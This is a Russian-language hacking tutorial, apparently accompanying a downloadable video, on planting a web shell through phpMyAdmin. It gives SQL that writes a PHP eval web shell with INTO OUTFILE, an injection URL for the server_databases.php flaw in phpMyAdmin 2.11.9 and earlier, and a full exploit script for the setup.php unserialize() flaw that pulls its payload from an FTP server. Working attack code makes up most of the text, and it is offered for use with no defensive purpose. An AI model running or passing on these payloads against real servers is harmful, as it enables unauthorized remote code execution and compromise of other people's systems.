Ссылка для скачивания (1,08 Мб): http://www.sendspace.com/file/682w6o
Пояснение к видео:
Заливка шелла через phpMyAdmin
I. Into Outfile
Требования:
file_priv = Y
полный путь
папка с правами на запись
Узнаем имя пользователя БД, под которым мы сидим:
Проверяем, есть ли файловые привелегии у нашего юзера:
Код:
select file_priv from mysql.user where user='root'
Заливаем мини-шелл:
Код:
select '<?php eval($_REQUEST[cmd]); ?>' from mysql.user into outfile 'D:/A/xampp/htdocs/s.php'
II. Code Execution
1) server_databases.php
Требования:
phpMyAdmin <= 2.11.9
MySQL 4.*
Смотрим на ссылки, узнаем наш token, в моём случае:
Код:
token=a327a405644acbcce02edb41461a58c9
Выполняем произвольный код:
Код:
server_databases.php?pos=0&dbstats=0&sort_by="]) OR eval($_REQUEST[cmd]); //&sort_order=desc&token=a327a405644acbcce02edb41461a58c9&cmd=phpinfo();
2) unserialize()
Требования:
phpMyAdmin <= 2.11.9
Воспользуемся эксплойтом от M4g:
PHP код:
<?php
/*phpMyAdmin <= 2.11.9 unserialize() arbitrary PHP Code execution exploit*/
/*http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/, by M4g, icq 884888 (c) 2010*/
//Настройки
$pma_setup_url = 'http://site.com/phpMyAdmin/scripts/setup.php'; /*полный адрес скрипта установки phpMyAdmin*/
$ftp_code = 'ftp://user:password@ftp.com/www/test.txt'; /*полный ftp-путь до файла с содержимым <? phpinfo();exit; ?>*/
//Настройки
//отправляем http-данные
//$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent
function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '')
{
$return = '';
$feof_count = 0;
$parsed_url = parse_url($url);
$site = $parsed_url['host'];
$path = $parsed_url['path'];
$query = $parsed_url['query'];
($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';
($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';
$fp = fsockopen($site, 80, $errno, $errstr, 30);
($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: $ua_string\r\n";
$out .= "Referer: $referer_string\r\n";
$out .= "Cookie: $cookie_string\r\n";
($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);
while (!feof($fp))
{
if($feof_count >=200)
break;
$return .= fread($fp, 4800);
++$feof_count;
}
fclose($fp);
return $return;
}
$token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera');
preg_match('@name="token" value="([a-f0-9]{32})"@is',$token_page,$token_array);
$token = $token_array[1];
preg_match_all('@Set-Cookie: ([^\r\n;]+)@is',$token_page,$cookie_array);
$cookie_array = $cookie_array[1];
$cookie_array = implode("; ",$cookie_array);
print send_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');
?>